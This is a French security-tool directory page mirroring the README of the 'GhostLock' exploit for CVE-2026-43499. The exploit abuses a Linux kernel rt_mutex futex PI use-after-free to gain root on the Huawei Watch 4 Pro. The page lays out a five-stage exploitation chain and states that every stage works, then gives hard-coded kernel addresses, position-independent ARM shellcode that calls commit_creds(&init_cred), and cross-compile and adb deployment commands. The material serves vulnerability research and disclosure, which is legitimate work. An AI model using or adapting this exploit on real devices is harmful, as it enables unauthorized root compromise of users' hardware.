Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
ghostlock-cve-2026-43499 — CVE-2026-43499 (GhostLock) — Recherche sur l'élévation de privilèges ARM32 par UAF futex PI rt_mutex du noyau Linux ciblant la Huawei Watch 4 Pro (noyau 5.4.210) | Kitploit
Outils/GitHubGitHub/gitchw/ghostlock-cve-2026-43499
Sécurité des Systèmes EmbarquésEscalade de PrivilègesSécurité IoTAnalyse des VulnérabilitésExploitationRétro-ingénierieDéveloppement de Charges UtilesExploitation de Binaires

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHubgitchw/ghostlock-cve-2026-43499

ghostlock-cve-2026-43499

CVE-2026-43499 (GhostLock) — Recherche sur l'élévation de privilèges ARM32 par UAF futex PI rt_mutex du noyau Linux ciblant la Huawei Watch 4 Pro (noyau 5.4.210)

Voir le dépôt
4278il y a 29 joursPas encore vérifié

CVE-2026-43499 (GhostLock) — Recherche sur l'élévation de privilèges du noyau ARM32

Recherche sur la vulnérabilité Use-After-Free de rt_mutex dans futex PI du noyau Linux et développement d'un exploit ciblant la Huawei Watch 4 Pro (MDS-AL00), Snapdragon SW5100, armv7l, noyau 5.4.210.

Vulnérabilité

remove_waiter() dans kernel/locking/rt_mutex.c utilise incorrectement current au lieu de waiter->task lors du rollback du proxy-lock, omettant d'effacer pi_blocked_on sur la tâche du waiter. Cela laisse un pointeur pendant depuis task_struct vers un rt_mutex_waiter alloué sur la pile après que la frame de pile noyau du waiter est libérée — un Use-After-Free de pile classique.

Stratégie d'exploitation

  1. Pointeur pendant — Déclencher le rollback EDEADLK via futex(FUTEX_CMP_REQUEUE_PI) sur trois threads ; le pi_blocked_on du waiter pointe vers une pile libérée.
  2. Stack spray (stamp) — Utiliser prctl(PR_SET_NAME) (option 15, non privilégié) pour copier 15 octets de données contrôlées sur la pile noyau, écrasant les champs task/lock/prio du faux waiter.
  3. Primitive d'écriture — sched_setattr() déclenche un parcours de chaîne PI ; le faux waiter est enfilé dans un rt_mutex forgé chevauchant une structure file_operations du noyau. L'insertion dans l'arbre rouge-noir écrit l'adresse de pile noyau du waiter dans fops->unlocked_ioctl.
  4. Exécution de code — Re-stamper le waiter avec du shellcode ARM indépendant de la position ; ouvrir un périphérique caractère accessible à tous et appeler ioctl(), qui est dispatché via le pointeur unlocked_ioctl écrasé vers le shellcode sur la pile noyau exécutable.
  5. Élévation de privilèges — Le shellcode appelle commit_creds(waiter) où les premiers champs du waiter (définis par rb_insert_color) forment un faux struct cred avec uid/gid = 0.

État actuel

  • Déclenchement de l'UAF : fonctionnel (vérifié sur l'appareil)
  • Stack stamp via prctl : fonctionnel
  • Primitive d'écriture d'une adresse de pile noyau : fonctionnel (écrase fops->unlocked_ioctl avec l'adresse de pile du waiter)
  • Pile noyau confirmée exécutable (pas de PXN/NX sur la région BSS/pile)
  • Exécution de code et escalade root : fonctionnel (dispatch via ioctl(null_fd, IOCTL_CMD, 0) vers le shellcode -> commit_creds(&init_cred) -> shell root)

Appareil cible

PropriétéValeur
AppareilHuawei Watch 4 Pro (MDS-AL00)
SoCSnapdragon SW5100 (Cortex-A7, armv7l)
Noyau5.4.210 (ARM 32 bits)
KASLRdésactivé
PAN/SMAPabsent
PXNabsent sur 0xc1b00000+ (pile/BSS exécutable)
CFI/PACabsent

Adresses noyau clés

kernel base           0xC0008000
syscall table         0xc0101264
do_vfs_ioctl          0xc031c0ec  (fops->unlocked_ioctl call at 0xc031c8a0)
commit_creds          0xc014c898  (true commit_creds entry)
override_creds        0xc014cac8  (leaf helper immediately following commit_creds)
rt_mutex_enqueue      0xc019c660
rb_insert_color       0xc104a918
init_task             0xc1b11640
init_cred             0xc1b17e60
null_fops (/dev/null) 0xc141f5b0
FAKE_LOCK             0xc141f5d4  (null_fops + 0x24)
write target          0xc141f5d8  (null_fops + 0x28 = unlocked_ioctl)
IOCTL_CMD             0x01B17E60  (INIT_CRED + 0x40000000)

Structure du dépôt

.
├── README.md                  # Project documentation
├── boot.img                   # Target device boot image (32 MB)
├── exploit/
│   ├── ghostlock_arm32.c      # Main ARM32 exploit source
│   ├── ghostlock_arm32.h      # Exploit definitions header
│   ├── ghostlock_arm32        # Compiled static ARM binary
│   ├── ghostlock_poc1.c       # Initial crash POC
│   ├── nebula_poc.c           # Nebula team reference POC
│   └── variants/              # Research exploit variants & performance tests
│       ├── ghostlock_v11_kgsl_preadv2.c
│       ├── ghostlock_v6a_kgsl_getdents64.c
│       ├── ghostlock_v7_clock_adjtime.c
│       └── ...
├── kernel/
│   ├── kernel_raw.bin         # Uncompressed kernel binary (28 MB)
│   └── kallsyms_parsed.txt    # Extracted kernel symbol table
├── analysis/                  # Capstone/Keystone-based reverse engineering
│   ├── *.py                   # Disassembly and verification scripts
│   └── *.txt                  # Extracted tables and scan logs
├── references/
│   ├── ghostlock/             # Earlier exploit iterations & research notes
│   ├── ref_tc3650/            # TC3650 ARM32 reference materials
│   └── ref_oneplus_aarch64/   # OnePlus / Oppo AArch64 GhostLock references
└── tools/
    └── fetch_missing.sh       # Zig-based musl toolchain compilation script

Compilation

Avec GCC ou Zig en compilation croisée :

# Option A: GCC cross compiler
arm-linux-gnueabihf-gcc -static -O2 -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread

# Option B: Zig compiler
zig cc -target arm-linux-musleabi -O2 -static -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread

Exécution

adb push exploit/ghostlock_arm32 /data/local/tmp/
adb shell chmod +x /data/local/tmp/ghostlock_arm32
adb shell /data/local/tmp/ghostlock_arm32

Conception du shellcode

Shellcode ARM indépendant de la position, estampillé à waiter+0x18 :

sub r0, r1, #0x40000000   @ r0 = ioctl cmd - 0x40000000 = &init_cred
ldr pc, [pc, #-4]         @ jump to commit_creds
.word 0xc014c898          @ true commit_creds entry
  • Lorsque ioctl(null_fd, cmd, arg) dispatche f_op->unlocked_ioctl(filp, cmd, arg), le registre r1 contient l'argument cmd.
  • En définissant cmd = 0x01B17E60, sub r0, r1, #0x40000000 (encodage 0xe2410101, sans octets nuls) calcule r0 = 0xc1b17e60 (&init_cred).
  • commit_creds(&init_cred) installe les identifiants root avec toutes les capacités et un contexte de sécurité SELinux propre, puis retourne proprement vers do_vfs_ioctl (lr = 0xc031c8c0).

Note sur la disposition de file_operations

Le struct file_operations de ce noyau vendeur possède un champ supplémentaire de 4 octets à l'offset +0x24 (entre poll et unlocked_ioctl), décalant tous les membres suivants de 4 octets par rapport au Linux 5.4 standard :

+0x04 llseek        +0x20 poll
+0x08 read          +0x24 <vendor extra>
+0x0c write         +0x28 unlocked_ioctl
+0x10 read_iter     +0x2c compat_ioctl
+0x14 write_iter    +0x30 mmap
+0x18 iterate       +0x38 open
+0x1c iterate_shared +0x40 release

Cela a été vérifié en désassemblant les gestionnaires ashmem et null fops.

Avertissement

Ce dépôt est destiné exclusivement à la recherche en sécurité et à l'éducation. N'utilisez pas ces techniques sur des appareils que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation de tester.

Télécharger l’outil